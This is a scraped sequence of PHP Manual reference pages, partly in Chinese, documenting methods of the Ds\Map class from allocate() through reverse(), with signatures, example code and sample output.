  • Ds\Map::toArray — Converts the map to an array
  • Ds\Map::union — Creates a new map using values from the current instance and another map
  • Ds\Map::values — Returns a sequence of the map's values
  • Ds\Map::xor — Creates a new map using keys of either the current instance or of another map, but not of both

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ? Ds\Map
  • Ds\Map::apply ?
  • PHP Manual
  • Ds\Map
  • Allocates enough memory for a required capacity

Ds\Map::allocate

(PECL ds >= 1.0.0)

Ds\Map::allocate — Allocates enough memory for a required capacity

说明

public Ds\Map::allocate(int $capacity): void

Allocates enough memory for a required capacity.

参数

capacity

The number of values for which capacity should be allocated.

Note:

Capacity will stay the same if this value is less than or equal to the current capacity.

Note:

Capacity will always be rounded up to the nearest power of 2.

返回值

没有返回值。

示例

Example #1 Ds\Map::allocate() example

<?php
$map = new \Ds\Map();
var_dump($map->capacity());

$map->allocate(100);
var_dump($map->capacity());
?>

以上示例的输出类似于：

int(16)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Updates all values by applying a callback function to each value

  • ? Ds\Map::allocate
  • Ds\Map::capacity ?
  • PHP Manual
  • Ds\Map
  • Updates all values by applying a callback function to each value

Ds\Map::apply

(PECL ds >= 1.0.0)

Ds\Map::apply — Updates all values by applying a callback function to each value

说明

public Ds\Map::apply(callable $callback): void

Updates all values by applying a callback function to each value in the map.

参数

callback

callback(mixed $key, mixed $value): mixed

A callable to apply to each value in the map.

The callback should return what the value should be replaced by.

返回值

没有返回值。

示例

Example #1 Ds\Map::apply() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$map->apply(function($key, $value) { return $value * 2; });

print_r($map);
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 4
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 6
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ? Ds\Map::apply
  • Ds\Map::clear ?
  • PHP Manual
  • Ds\Map
  • Returns the current capacity

Ds\Map::capacity

(PECL ds >= 1.0.0)

Ds\Map::capacity — Returns the current capacity

说明

public Ds\Map::capacity(): int

Returns the current capacity.

参数

此函数没有参数。

返回值

The current capacity.

示例

Example #1 Ds\Map::capacity() example

<?php
$map = new \Ds\Map();
var_dump($map->capacity());
?>

以上示例的输出类似于：

int(16)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ? Ds\Map::capacity
  • Ds\Map::__construct ?
  • PHP Manual
  • Ds\Map
  • Removes all values

Ds\Map::clear

(PECL ds >= 1.0.0)

Ds\Map::clear — Removes all values

说明

public Ds\Map::clear(): void

Removes all values from the map.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Map::clear() example

<?php
$map = new \Ds\Map([
"a" => 1,
"b" => 2,
"c" => 3,
]);
print_r($map);

$map->clear();
print_r($map);
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)
Ds\Map Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ? Ds\Map::clear
  • Ds\Map::copy ?
  • PHP Manual
  • Ds\Map
  • Creates a new instance

Ds\Map::__construct

(PECL ds >= 1.0.0)

Ds\Map::__construct — Creates a new instance

说明

public Ds\Map::__construct(mixed ...$values)

Creates a new instance, using either a traversable object or an array for the initial values.

参数

values

A traversable object or an array to use for the initial values.

示例

Example #1 Ds\Map::__construct() example

<?php
$map = new \Ds\Map();
var_dump($map);

$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map);
?>

以上示例的输出类似于：

object(Ds\Map)#1 (0) {
}
object(Ds\Map)#2 (3) {
  [0]=>
  object(Ds\Pair)#1 (2) {
    ["key"]=>
    string(1) "a"
    ["value"]=>
    int(1)
  }
  [1]=>
  object(Ds\Pair)#3 (2) {
    ["key"]=>
    string(1) "b"
    ["value"]=>
    int(2)
  }
  [2]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    string(1) "c"
    ["value"]=>
    int(3)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the map

  • ? Ds\Map::__construct
  • Ds\Map::count ?
  • PHP Manual
  • Ds\Map
  • Returns a shallow copy of the map

Ds\Map::copy

(PECL ds >= 1.0.0)

Ds\Map::copy — Returns a shallow copy of the map

说明

public Ds\Map::copy(): Ds\Map

Returns a shallow copy of the map.

参数

此函数没有参数。

返回值

Returns a shallow copy of the map.

示例

Example #1 Ds\Map::copy() example

<?php
$map = new \Ds\Map([
"a" => 1,
"b" => 2,
"c" => 3,
]);

print_r($map->copy());
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the map

  • ? Ds\Map::copy
  • Ds\Map::diff ?
  • PHP Manual
  • Ds\Map
  • Returns the number of values in the map

Ds\Map::count

(PECL ds >= 1.0.0)

Ds\Map::count — Returns the number of values in the map

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Creates a new map using keys that aren't in another map

  • ? Ds\Map::count
  • Ds\Map::filter ?
  • PHP Manual
  • Ds\Map
  • Creates a new map using keys that aren't in another map

Ds\Map::diff

(PECL ds >= 1.0.0)

Ds\Map::diff — Creates a new map using keys that aren't in another map

说明

public Ds\Map::diff(Ds\Map $map): Ds\Map

Returns the result of removing all keys from the current instance that are present in a given map.

A \ B = {x ∈ A | x ? B}

参数

map

The map containing the keys to exclude in the resulting map.

返回值

The result of removing all keys from the current instance that are present in a given map.

参见

  • » Complement on Wikipedia

示例

Example #1 Ds\Map::diff() example

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 4, "c" => 5, "d" => 6]);

var_dump($a->diff($b));
?>

以上示例的输出类似于：

object(Ds\Map)#3 (1) {
  [0]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    string(1) "a"
    ["value"]=>
    int(1)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a new map using a callable to determine which pairs to include

  • ? Ds\Map::diff
  • Ds\Map::first ?
  • PHP Manual
  • Ds\Map
  • Creates a new map using a callable to determine which pairs to include

Ds\Map::filter

(PECL ds >= 1.0.0)

Ds\Map::filter — Creates a new map using a callable to determine which pairs to include

说明

public Ds\Map::filter(callable $callback = ?): Ds\Map

Creates a new map using a callable to determine which pairs to include.

参数

callback

callback(mixed $key, mixed $value): bool

Optional callable which returns true if the pair should be included, false otherwise.

If a callback is not provided, only values which are true (see converting to boolean) will be included.

返回值

A new map containing all the pairs for which either the callback returned true, or all values that convert to true if a callback was not provided.

示例

Example #1 Ds\Map::filter() example using callback function

<?php
$map = new \Ds\Map(["a", "b", "c", "d", "e"]);

var_dump($map->filter(function($key, $value) {
return $key % 2 == 0;
}));
?>

以上示例的输出类似于：

object(Ds\Map)#3 (3) {
  [0]=>
  object(Ds\Pair)#2 (2) {
    ["key"]=>
    int(0)
    ["value"]=>
    string(1) "a"
  }
  [1]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    int(2)
    ["value"]=>
    string(1) "c"
  }
  [2]=>
  object(Ds\Pair)#5 (2) {
    ["key"]=>
    int(4)
    ["value"]=>
    string(1) "e"
  }
}

Example #2 Ds\Map::filter() example without a callback function

<?php
$map = new \Ds\Map(["a" => 0, "b" => 1, "c" => true, "d" => false]);

var_dump($map->filter());
?>

以上示例的输出类似于：

object(Ds\Map)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the first pair in the map

  • ? Ds\Map::filter
  • Ds\Map::get ?
  • PHP Manual
  • Ds\Map
  • Returns the first pair in the map

Ds\Map::first

(PECL ds >= 1.0.0)

Ds\Map::first — Returns the first pair in the map

说明

public Ds\Map::first(): Ds\Pair

Returns the first pair in the map.

参数

此函数没有参数。

返回值

The first pair in the map.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Map::first() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->first());
?>

以上示例的输出类似于：

object(Ds\Pair)#2 (2) {
  ["key"]=>
  string(1) "a"
  ["value"]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the value for a given key

  • ? Ds\Map::first
  • Ds\Map::hasKey ?
  • PHP Manual
  • Ds\Map
  • Returns the value for a given key

Ds\Map::get

(PECL ds >= 1.0.0)

Ds\Map::get — Returns the value for a given key

说明

public Ds\Map::get(mixed $key, mixed $default = ?): mixed

Returns the value for a given key, or an optional default value if the key could not be found.

Note:

Keys of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

Note:

You can also use array syntax to access values by key, eg. $map["key"].

Caution

Be careful when using array syntax. Scalar keys will be coerced to integers by the engine. For example, $map["1"] will attempt to access int(1), while $map->get("1") will correctly look up the string key.

See Arrays.

参数

key

The key to look up.

default

The optional default value, returned if the key could not be found.

返回值

The value mapped to the given key, or the default value if provided and the key could not be found in the map.

错误／异常

OutOfBoundsException if the key could not be found and a default value was not provided.

示例

Example #1 Ds\Map::get() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->get("a")); // 1
var_dump($map->get("d", 10)); // 10 (default used)
?>

以上示例的输出类似于：

int(1)
int(10)

Example #2 Ds\Map::get() example using array syntax

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map["a"]); // 1
?>

以上示例的输出类似于：

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Determines whether the map contains a given key

  • ? Ds\Map::get
  • Ds\Map::hasValue ?
  • PHP Manual
  • Ds\Map
  • Determines whether the map contains a given key

Ds\Map::hasKey

(PECL ds >= 1.0.0)

Ds\Map::hasKey — Determines whether the map contains a given key

说明

public Ds\Map::hasKey(mixed $key): bool

Determines whether the map contains a given key.

参数

key

The key to look for.

返回值

Returns true if the key could found, false otherwise.

示例

Example #1 Ds\Map::hasKey() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->hasKey("a")); // true
var_dump($map->hasKey("e")); // false
?>

以上示例的输出类似于：

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Determines whether the map contains a given value

  • ? Ds\Map::hasKey
  • Ds\Map::intersect ?
  • PHP Manual
  • Ds\Map
  • Determines whether the map contains a given value

Ds\Map::hasValue

(PECL ds >= 1.0.0)

Ds\Map::hasValue — Determines whether the map contains a given value

说明

public Ds\Map::hasValue(mixed $value): bool

Determines whether the map contains a given value.

参数

value

The value to look for.

返回值

Returns true if the value could found, false otherwise.

示例

Example #1 Ds\Map::hasValue() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->hasValue(1)); // true
var_dump($map->hasValue(4)); // false
?>

以上示例的输出类似于：

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new map by intersecting keys with another map

  • ? Ds\Map::hasValue
  • Ds\Map::isEmpty ?
  • PHP Manual
  • Ds\Map
  • Creates a new map by intersecting keys with another map

Ds\Map::intersect

(PECL ds >= 1.0.0)

Ds\Map::intersect — Creates a new map by intersecting keys with another map

说明

public Ds\Map::intersect(Ds\Map $map): Ds\Map

Creates a new map containing the pairs of the current instance whose keys are also present in the given map. In other words, returns a copy of the current instance with all keys removed that are not also in the other map.

A ∩ B = {x : x ∈ A ∧ x ∈ B}

Note:

Values from the current instance will be kept.

参数

map

The other map, containing the keys to intersect with.

返回值

The key intersection of the current instance and another map.

参见

  • » Intersection on Wikipedia

示例

Example #1 Ds\Map::intersect() example

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 4, "c" => 5, "d" => 6]);

var_dump($a->intersect($b));
?>

以上示例的输出类似于：

object(Ds\Map)#3 (2) {
  [0]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    string(1) "b"
    ["value"]=>
    int(2)
  }
  [1]=>
  object(Ds\Pair)#5 (2) {
    ["key"]=>
    string(1) "c"
    ["value"]=>
    int(3)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the map is empty

  • ? Ds\Map::intersect
  • Ds\Map::jsonSerialize ?
  • PHP Manual
  • Ds\Map
  • Returns whether the map is empty

Ds\Map::isEmpty

(PECL ds >= 1.0.0)

Ds\Map::isEmpty — Returns whether the map is empty

说明

public Ds\Map::isEmpty(): bool

Returns whether the map is empty.

参数

此函数没有参数。

返回值

Returns true if the map is empty, false otherwise.

示例

Example #1 Ds\Map::isEmpty() example

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

以上示例的输出类似于：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? Ds\Map::isEmpty
  • Ds\Map::keys ?
  • PHP Manual
  • Ds\Map
  • Returns a representation that can be converted to JSON

Ds\Map::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Map::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

Note:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns a set of the map's keys

  • ? Ds\Map::jsonSerialize
  • Ds\Map::ksort ?
  • PHP Manual
  • Ds\Map
  • Returns a set of the map's keys

Ds\Map::keys

(PECL ds >= 1.0.0)

Ds\Map::keys — Returns a set of the map's keys

说明

public Ds\Map::keys(): Ds\Set

Returns a set containing all the keys of the map, in the same order.

参数

此函数没有参数。

返回值

A Ds\Set containing all the keys of the map.

示例

Example #1 Ds\Map::keys() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->keys());
?>

以上示例的输出类似于：

object(Ds\Set)#2 (3) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
}

User Contributed Notes

There are no user contributed notes for this page.


Sorts the map in-place by key

  • ? Ds\Map::keys
  • Ds\Map::ksorted ?
  • PHP Manual
  • Ds\Map
  • Sorts the map in-place by key

Ds\Map::ksort

(PECL ds >= 1.0.0)

Ds\Map::ksort — Sorts the map in-place by key

说明

public Ds\Map::ksort(callable $comparator = ?): void

Sorts the map in-place by key, using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

没有返回值。

示例

Example #1 Ds\Map::ksort() example

<?php
$map = new \Ds\Map(["b" => 2, "c" => 3, "a" => 1]);
$map->ksort();

print_r($map);
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

Example #2 Ds\Map::ksort() example using a comparator

<?php
$map = new \Ds\Map([1 => "x", 2 => "y", 0 => "z"]);

// Reverse
$map->ksort(function($a, $b) {
return $b <=> $a;
});

print_r($map);
?>

以上示例的输出类似于：

Ds\Map Object
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => 2
            [value] => y
        )

    [1] => Ds\Pair Object
        (
            [key] => 1
            [value] => x
        )

    [2] => Ds\Pair Object
        (
            [key] => 0
            [value] => z
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns a copy, sorted by key

  • ? Ds\Map::ksort
  • Ds\Map::last ?
  • PHP Manual
  • Ds\Map
  • Returns a copy, sorted by key

Ds\Map::ksorted

(No version information available, might only be in Git)

Ds\Map::ksorted — Returns a copy, sorted by key

说明

public Ds\Map::ksorted(callable $comparator = ?): Ds\Map

Returns a copy sorted by key, using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

Returns a copy of the map, sorted by key.

示例

Example #1 Ds\Map::ksorted() example

<?php
$map = new \Ds\Map(["b" => 2, "c" => 3, "a" => 1]);

print_r($map->ksorted());
?>

以上示例的输出类似于：

Ds\Map Object
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

Example #2 Ds\Map::ksorted() example using a comparator

<?php
$map = new \Ds\Map([1 => "x", 2 => "y", 0 => "z"]);

// Reverse
$sorted = $map->ksorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

以上示例的输出类似于：

Ds\Map Object
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => 2
            [value] => y
        )

    [1] => Ds\Pair Object
        (
            [key] => 1
            [value] => x
        )

    [2] => Ds\Pair Object
        (
            [key] => 0
            [value] => z
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the last pair of the map

  • ? Ds\Map::ksorted
  • Ds\Map::map ?
  • PHP Manual
  • Ds\Map
  • Returns the last pair of the map

Ds\Map::last

(PECL ds >= 1.0.0)

Ds\Map::last — Returns the last pair of the map

说明

public Ds\Map::last(): Ds\Pair

Returns the last pair of the map.

参数

此函数没有参数。

返回值

The last pair of the map.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Map::last() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->last());
?>

以上示例的输出类似于：

object(Ds\Pair)#2 (2) {
  ["key"]=>
  string(1) "c"
  ["value"]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of applying a callback to each value

  • ? Ds\Map::last
  • Ds\Map::merge ?
  • PHP Manual
  • Ds\Map
  • Returns the result of applying a callback to each value

Ds\Map::map

(PECL ds >= 1.0.0)

Ds\Map::map — Returns the result of applying a callback to each value

说明

public Ds\Map::map(callable $callback): Ds\Map

Returns the result of applying a callback function to each value of the map.

参数

callback

callback(mixed $key, mixed $value): mixed

A callable to apply to each value in the map.

The callable should return what the key will be mapped to in the resulting map.

返回值

The result of applying a callback to each value in the map.

Note:

The keys and values of the current instance won't be affected.

示例

Example #1 Ds\Map::map() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

print_r($map->map(function($key, $value) { return $value * 2; }));
print_r($map);
?>

以上示例的输出类似于：

(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 4
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 6
        )

)
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of adding all given associations

  • ? Ds\Map::map
  • Ds\Map::pairs ?
  • PHP Manual
  • Ds\Map
  • Returns the result of adding all given associations

Ds\Map::merge

(PECL ds >= 1.0.0)

Ds\Map::merge — Returns the result of adding all given associations

说明

public Ds\Map::merge(mixed $values): Ds\Map

Returns the result of associating all keys of a given traversable object or array with their corresponding values, combined with the current instance.

Note:

Values of the current instance will be overwritten by those provided where keys are equal.

参数

values

A traversable object or an array.

返回值

The result of associating all keys of a given traversable object or array with their corresponding values, combined with the current instance.

Note:

The current instance won't be affected.

示例

Example #1 Ds\Map::merge() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

print_r($map->merge(["a" => 10, "e" => 50]));
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 10
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

    [3] => Ds\Pair Object
        (
            [key] => e
            [value] => 50
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sequence containing all the pairs of the map

  • ? Ds\Map::merge
  • Ds\Map::put ?
  • PHP Manual
  • Ds\Map
  • Returns a sequence containing all the pairs of the map

Ds\Map::pairs

(PECL ds >= 1.0.0)

Ds\Map::pairs — Returns a sequence containing all the pairs of the map

说明

public Ds\Map::pairs(): Ds\Sequence

Returns a Ds\Sequence containing all the pairs of the map.

参数

此函数没有参数。

返回值

Ds\Sequence containing all the pairs of the map.

示例

Example #1 Ds\Map::pairs() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->pairs());
?>

以上示例的输出类似于：

object(Ds\Map)#8 (3) {
  [0]=>
  object(Ds\Pair)#5 (2) {
    ["key"]=>
    string(1) "a"
    ["value"]=>
    int(1)
  }
  [1]=>
  object(Ds\Pair)#6 (2) {
    ["key"]=>
    string(1) "b"
    ["value"]=>
    int(2)
  }
  [2]=>
  object(Ds\Pair)#7 (2) {
    ["key"]=>
    string(1) "c"
    ["value"]=>
    int(3)
  }
}
p

User Contributed Notes

There are no user contributed notes for this page.


Associates a key with a value

  • ? Ds\Map::pairs
  • Ds\Map::putAll ?
  • PHP Manual
  • Ds\Map
  • Associates a key with a value

Ds\Map::put

(PECL ds >= 1.0.0)

Ds\Map::put — Associates a key with a value

说明

public Ds\Map::put(mixed $key, mixed $value): void

Associates a key with a value, overwriting a previous association if one exists.

Note:

Keys of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

Note:

You can also use array syntax to associate values by key, eg. $map["key"] = $value.

Caution

Be careful when using array syntax. Scalar keys will be coerced to integers by the engine. For example, $map["1"] will attempt to access int(1), while $map->get("1") will correctly look up the string key.

See Arrays.

参数

key

The key to associate the value with.

value

The value to be associated with the key.

返回值

没有返回值。

示例

Example #1 Ds\Map::put() example

<?php
$map = new \Ds\Map();

$map->put("a", 1);
$map->put("b", 2);
$map->put("c", 3);

print_r($map);
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

Example #2 Ds\Map::put() example using objects as keys

<?php
class HashableObject implements \Ds\Hashable
{
/**
* An arbitrary value to use as the hash value. Does not define equality.
*/
private $value;

public function __construct($value)
{
$this->value = $value;
}

public function hash()
{
return $this->value;
}

public function equals($obj): bool
{
return $this->value === $obj->value;
}
}

$map = new \Ds\Map();

$obj = new \ArrayIterator([]);

// Using the same instance multiple times will overwrite the previous value.
$map->put($obj, 1);
$map->put($obj, 2);

// Using multiple instances of the same object will create new associations.
$map->put(new \stdClass(), 3);
$map->put(new \stdClass(), 4);

// Using multiple instances of equal hashable objects will overwrite previous values.
$map->put(new \HashableObject(1), 5);
$map->put(new \HashableObject(1), 6);
$map->put(new \HashableObject(2), 7);
$map->put(new \HashableObject(2), 8);

var_dump($map);
?>

以上示例的输出类似于：

object(Ds\Map)#1 (5) {
  [0]=>
  object(Ds\Pair)#7 (2) {
    ["key"]=>
    object(ArrayIterator)#2 (1) {
      ["storage":"ArrayIterator":private]=>
      array(0) {
      }
    }
    ["value"]=>
    int(2)
  }
  [1]=>
  object(Ds\Pair)#8 (2) {
    ["key"]=>
    object(stdClass)#3 (0) {
    }
    ["value"]=>
    int(3)
  }
  [2]=>
  object(Ds\Pair)#9 (2) {
    ["key"]=>
    object(stdClass)#4 (0) {
    }
    ["value"]=>
    int(4)
  }
  [3]=>
  object(Ds\Pair)#10 (2) {
    ["key"]=>
    object(HashableObject)#5 (1) {
      ["value":"HashableObject":private]=>
      int(1)
    }
    ["value"]=>
    int(6)
  }
  [4]=>
  object(Ds\Pair)#11 (2) {
    ["key"]=>
    object(HashableObject)#6 (1) {
      ["value":"HashableObject":private]=>
      int(2)
    }
    ["value"]=>
    int(8)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Associates all key-value pairs of a traversable object or array

  • ? Ds\Map::put
  • Ds\Map::reduce ?
  • PHP Manual
  • Ds\Map
  • Associates all key-value pairs of a traversable object or array

Ds\Map::putAll

(PECL ds >= 1.0.2)

Ds\Map::putAll — Associates all key-value pairs of a traversable object or array

说明

public Ds\Map::putAll(mixed $pairs): void

Associates all key-value pairs of a traversable object or array.

Note:

Keys of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

参数

pairs

traversable object or array.

返回值

没有返回值。

示例

Example #1 Ds\Map::putAll() example

<?php
$map = new \Ds\Map();

$map->putAll([
"a" => 1,
"b" => 2,
"c" => 3,
]);

print_r($map);
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Reduces the map to a single value using a callback function

  • ? Ds\Map::putAll
  • Ds\Map::remove ?
  • PHP Manual
  • Ds\Map
  • Reduces the map to a single value using a callback function

Ds\Map::reduce

(PECL ds >= 1.0.0)

Ds\Map::reduce — Reduces the map to a single value using a callback function

说明

public Ds\Map::reduce(callable $callback, mixed $initial = ?): mixed

Reduces the map to a single value using a callback function.

参数

callback
callback(mixed $carry, mixed $key, mixed $value): mixed
carry

The return value of the previous callback, or initial if it's the first iteration.

key

The key of the current iteration.

value

The value of the current iteration.

initial

The initial value of the carry value. Can be null.

返回值

The return value of the final callback.

示例

Example #1 Ds\Map::reduce() with initial value example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

$callback = function($carry, $key, $value) {
return $carry * $value;
};

var_dump($map->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 = 5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

以上示例的输出类似于：

int(30)

Example #2 Ds\Map::reduce() without an initial value example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->reduce(function($carry, $key, $value) {
return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 = 6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

以上示例的输出类似于：

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns a value by key

  • ? Ds\Map::reduce
  • Ds\Map::reverse ?
  • PHP Manual
  • Ds\Map
  • Removes and returns a value by key

Ds\Map::remove

(PECL ds >= 1.0.0)

Ds\Map::remove — Removes and returns a value by key

说明

public Ds\Map::remove(mixed $key, mixed $default = ?): mixed

Removes and returns a value by key, or return an optional default value if the key could not be found.

Note:

Keys of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

Note:

You can also use array syntax to access values by key, eg. $map["key"].

Caution

Be careful when using array syntax. Scalar keys will be coerced to integers by the engine. For example, $map["1"] will attempt to access int(1), while $map->get("1") will correctly look up the string key.

See Arrays.

参数

key

The key to remove.

default

The optional default value, returned if the key could not be found.

返回值

The value that was removed, or the default value if provided and the key could not be found in the map.

错误／异常

OutOfBoundsException if the key could not be found and a default value was not provided.

示例

Example #1 Ds\Map::remove() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->remove("a")); // 1
var_dump($map->remove("e", 10)); // 10 (default used)
?>

以上示例的输出类似于：

int(1)
int(10)

User Contributed Notes

carlo dot revelli at berkeley dot edu 24-Nov-2019 11:05
Note the syntax

<?php

unset($map[$key]);

?>

is also valid and ran 2x faster on my machine


Reverses the map in-place

  • ? Ds\Map::remove
  • Ds\Map::reversed ?
  • PHP Manual
  • Ds\Map
  • Reverses the map in-place

Ds\Map::reverse

(PECL ds >= 1.0.0)

Ds\Map::reverse — Reverses the map in-place

说明

public Ds\Map::reverse(): void

Reverses the map in-place.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Map::reverse() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$map->reverse();

print_r($map);
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns a reversed copy

  • ? Ds\Map::reverse
  • Ds\Map::skip ?
